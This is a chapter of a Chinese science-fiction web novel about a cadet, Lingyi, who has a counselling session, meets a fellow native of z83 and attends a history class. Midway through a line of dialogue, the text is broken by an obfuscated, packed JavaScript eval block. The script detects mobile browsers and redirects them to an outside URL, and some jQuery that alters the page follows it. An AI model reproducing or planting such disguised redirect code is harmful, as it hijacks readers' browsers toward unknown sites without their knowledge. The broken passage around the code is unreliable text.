11. 第 11 章
作品:《横刀[星际]》 “在想什么?”
戴胜将手里的笔转了一圈,她的腿上放着一个巴掌大的本子,她随手在上面画了个扁扁的圆。
在她的对面,鼻青脸肿的凌一正拘谨地坐在沙发上,脊背挺直,但看眼神,心思明显不在这里。
凌一听见她问话,回神,语气惋惜:
“在想中午吃的饭,浪费了。”
戴胜抿了下唇,继续在本子上下笔。
凌一等了快十分钟,戴胜专心动笔一言不发,她看了眼门,开口打破沉寂:
“那个、长官,我可以走了吗?”
“不可以。”戴胜终于抬起头,“如果你不想说话,可以在这里做俯卧撑之类的自重训练。之前就有人这么干,我们相处是必需的,但我们的交流不是,你可以随意利用这段时间。”
她的眼睛颜色太浅了,蓝色快要变成透明的浅灰,凌一被她盯得很不舒服。
“哦。”她挪开视线,不安地在沙发挪动了一下身子。
又是十分钟过去,凌一猛地起身,在原地转了个圈,又重新坐下。
“你真的不是读心者吗?”
戴胜放下手里的笔,挑眉:“你很希望我是?”
凌一真的希望,因为这样她就不用说出来了。
戴胜笑笑:“我真的不是。”
“哦。”凌一又没话说了。
戴胜这次却没有再冷落她,而是示意了一下凌一脸上高高肿起的青紫:
“训练没控制好?”
艾伯尼查看了训练场的监控,她骂兰瑟是没事找事大脑缺氧的混账,骂凌一是无法自控的白痴,然后把她俩一起罚了,脸上的伤一起留三天,然后凌一需要打扫训练场一周、兰瑟是半个月。
凌一点头点到一半:“……不全是,”她勇敢地看着戴胜,“我本来就想揍她们。”
戴胜当然没有被这句话吓到,也没问“她们”都是谁,而是提了另一个问题:
“你不喜欢这里吗?”
“不喜欢,”凌一答得飞快,“我讨厌法洛斯。”
一举一动都有规范,训练又苦又累,监视无处不在,没有自由、没有放松,周围人个个红了眼要争先。
没有影视剧里的热血友情,也没有宣传里的高尚庄重,这里对出身z83的凌一来说,就是一个充满血泪的斗兽场。
戴胜又拿起笔:“那你为什么还要留下?”
凌一莫名生起气来:“因为我答应凌焰了,她说了要让我活下去,活下去就得变强,在这里我才能——才有可能——”
她打断了自己。
戴胜:“凌焰是你母亲吗?”
凌一眉头紧锁,“我不想谈论她。”
戴胜置若罔闻:“她会喜欢你现在的样子吗?”
凌一的嘴唇开始发抖,她猛地站起身,努力克制住把拳头塞在戴胜脸上的冲动。
戴胜跟看不见她的痛苦一样,又问了一遍:
“她会因为你现在表现夸奖你吗?”
眼泪毫无征兆砸下来,凌一吓了一跳,用手抹了一把,结果按到伤口疼得咧嘴,泪水滚落更多。
“她不会夸我,”凌一捂住眼睛,试图把眼泪塞回去,“她也不喜欢我。”
她踉跄着坐回沙发,好一会儿才把手拿开,眼睛还是通红的,泪水已经没有了。
“我真的不想讨论她。”
戴胜把腿上的本子翻过一页:“我明白了。”
“其实刚才是我第一次哭,就是、离开她以后。”凌一说的很慢,“你操控我的情绪了吗?”
“离开她以后”,不是“她去世以后”。戴胜记下这个细节,继续动笔:
“我的能力是平静引导,不是‘情绪调控’,只有你要求、或者我认为有必要的时候,我才会使用异能。我的异能资料对你来说是可见的,你可以自己去求证。”
“你在分析我的人格吗?”
“不是,”戴胜的姿势很放松,“我只是在凭直觉画画。我喜欢用这种方式记笔记。”
凌一沉默。
“我会给每个人准备一个新本子,你知道这是为什么吗?”
她也不等凌一回答,就直接给出答案。
“因为这样即使有人要偷看自己的那一本,其他人的也是安全的,如果我采取线上记录的方式,很容易发生集体泄露。”
凌一:“你好像不介意被偷看。”
“不是所有人都愿意遵守规则,”戴胜耸耸肩,“如果偷看能让我的客人相信我、能让他们晚上可以安心入睡,看一眼也没有大不了的。
“反正他们也看不懂。”
戴胜停下笔:“你想看看吗?”
凌一拒绝了。
之后她们之间陷入了一种带有疏离感的平静,凌一说了些z83的生活,她亲手做的床、邻居养的飞蛇,地里养的紫瓜需要柏牌肥料才能更清甜好吃。
她一点也没有提凌焰。
戴胜没有再逼迫,有些事情需要时间来解开,现在过于刺激只会适得其反。
凌一最后还是要求戴胜使用异能,戴胜答应了,凌一闭上眼睛感受,原本乱糟糟的心被捋平,她并没有感到轻松,这更像是……被摁住了。
和药物还有不同,她并不困倦,也不麻木,只感到一切都重归掌控。
凌一离开后,戴胜又独自坐了一会儿,翻看了下自己画的画。这是她的习惯,回顾、然后封存和上一位客人共享的心情。
栅栏、笼子、黄昏模糊的光线,一只愤怒、充满活力的小猪。
她只在视频资料里见过一次这种名为“猪”的动物,画的其实一点也不像。
小猪旁边,有一行潦草到快要看不清的字:
在成为苏格拉底之前,我们都有过天真的幸福。
*
法洛斯的天幕是完全虚假的,由中控台操纵,日夜轮转与和新首都完全一致;天气则是按训练需要局部调整,没有特殊情况下,都是万里无云。
星象原本也是一比一复制新首都,但在法洛斯上还能看到法洛斯的情况让人很容易迷失,后来就改成复制第一地球的,法洛斯也因此成了所有研究第一纪元的历史学家们最向往的地方。
暮色把天空染成深紫,一条星河挂在头顶,凌一走出医疗部的楼,一眼就看见了在黯淡光线中十分显眼的简维安。
三个月足够把初次见面的那点雏鸟情结变成恨不得把当初自己埋起来的尴尬后悔,凌一准备绕开,但今天第二次,她失败了。
简维安其实先一步就看见凌一了,他举起手打了个招呼,就直接走过来。
凌一正要装作不认识,但紧接着想起自己光脑上还有此人的通讯号,只好行了个礼:
“长官。”
简维安回了一礼,笑道:“别这么紧张。”他的视线在凌一脸上停留片刻,却没有出口询问,而是从口袋里拿出一个巴掌大的东西,递给凌一:
“喏,给你带的礼物。”
白色印有素虞的纸折成正方形,上面贴着被编成复杂花样的红绳,应该是用来祈福的道具。
凌一没接。
简维安道:“我这三个月去长安做了个小手术,术后恢复闲逛的时候随手买的。祝福异能者赐福过的小玩意儿,没什么大用,最多让你每天入睡起床都容易点。”
祝福类能力者是被统一管理的,就业去向是受联盟管理的教廷。
祝福这个能力限制多、作用小,历史中最强的那一位甚至没有活过十八岁,可见这个异能的确是用处不大。但因为可以起到很好的心理作用,所以祝福者们活的还是比较滋润的。
无法成为战士,但吃喝不愁,还可以在教廷这一独特赛道里奋发图强。
凌一仔细把简维安看了遍:“你生病了?”
简维安指了下脑袋:“小毛病。”他把手往前伸了伸,凌一下意识就把东西接了过来。
简维安一下子就笑了:“不生我的气了?”
凌一思考了一下自己用什么立场生气、以及为什么要生气,没思考出来:“我可以生气吗?”
简维安咳了声,这时候天色已经完全暗下来,半空中的照明投下方形的光块,简维安率先迈步,带着凌一在明暗间穿梭。
“我家人在长安,”简维安和凌一之间离了一臂的距离,“是从z83搬过去的。”
凌一停下脚步:“z83?!”
“是的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104989|195669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,”简维安含笑偏头看她,“我们可是真正的老乡。”
简维安的祖父母出身玲珑星域,在家乡覆灭后,逃难至洛林星域的z83定居,简维安在z83出生,五岁那年随家人去了长安。
按出生地算,他的确是z83人。
“我查过了,今年z83的新生就你一个,所以你入学的时候才会专门去等你。”简维安走路的姿势有些懒散,不是标准的军姿,在一板一眼走路的凌一旁边,让人一看就知道这位是领导,“首都、长安、阿瓦隆都有他们的同乡会,我毕业这么多年才遇到你一个老乡,你不知道我当时有多高兴。”
明面上大家都会说联盟一家亲、不分彼此,但实际上来自同一个星球、星域的人难免会抱团。
2612的其他人都早早和同乡联系上了,这也是人脉的一部分。
凌一没有被洛林星域的新生们邀请,她也没有去联系过。
在z83的时候,凌一没觉得自己有多热爱那个贫瘠的地方,出来这么久,一听到家乡的名字,她竟然就心潮起伏了。
刚刚和戴胜讲过的家乡变成更详细的版本又说给简维安听,简维安一边听一边点头,不时补充几句,他擅长倾听,又很会接话,凌一越说越高兴,一直到了宿舍才停下话头。
“之后我会不时在你们的训练里出没,”简维安做了个鬼脸,“要加油哦。”
凌一用力点头,有点不舍地和简维安道别。
这是她第一个这么聊得来的朋友。
凌一带着兴奋劲儿回头,结果就和面无表情的兰瑟撞了个脸对脸。
兰瑟刚打扫完训练场回来,饭都没来得及吃。
凌一收了笑,狠狠瞪回去。
俩人都不肯退缩,就这么站着大眼瞪小眼,把路过的法图吓一跳,她胡乱给兰瑟打了个招呼,把凌一推进宿舍:
“我的小姑奶奶,私下斗殴是要记过的,您悠着点吧,别跟她一个臭外星的计较。”
凌一扭头看她:“我也是臭外星的。”
法图:“……不要在我玩梗的时候跟我较真。”
阿乔阿和第五名正在比赛做俯卧撑,第五名马上要输,见她俩进门立刻耍赖一跃而起:
“天哪,这不是我们的传奇小凌一嘛!”
这不是她第一次这么耍赖了,阿乔阿大怒,一个扫堂腿过去:
“下次格斗课你跟我一组!”
第五名往凌一身后躲:“一一、救我!”
这是她们第一次在玩笑玩闹的时候带上凌一。
揍兰瑟不仅能调理心情,还有这层凌一没想到的好处。
凌一在考虑把这项运动发展成长期爱好。
不过没有为此高兴多久,凌一很快就陷入了新的困境。
第一节历史与战争史课,在所有人的期待里,终于华丽登场了。
历史课大家都是从小上到大的,但除了家里条件比较好的秦夏和来自新首都的法图,其余人包括超级优等生容迦尔,都没有见识过真人老师。
阿瓦隆星域更夸张些,部分地区正在尝试完全AI教学,即每个孩子能听懂话开始就配备专属的AI老师,直接从幼儿园教到人生毕业。
阿乔阿听说后:“这不就是‘系统’?!”
又是第一纪元的小说家们创造的怪东西,反正此后阿乔阿就对阿瓦隆星域多了一重相思之情。
军事训练是由当地的驻防军担任教官,异能如果特别优秀可以申请到远程特级老师,而文化课,很早以前就被AI垄断了。
但法洛斯不一样,这里的历史课是由专门的历史学家上的!
一间大教室,2612小队进去的时候里面已经快坐满了,男的女的都有,法图直接冲过去,很熟悉地叫出了一串名字。
凌一听见117、5003还有792,也不知道法图是什么时候认识的。
法图正介绍大家认识,前门又走进来八个人。
五男三女,穿着和里面的人没有不同,但看起来总觉得哪里不一样。
还没等凌一想出来哪里不一样,为首的女生就给了她答案:
“大家好啊,”她笑眯眯环视一周,“我们是读心者ξ班。”

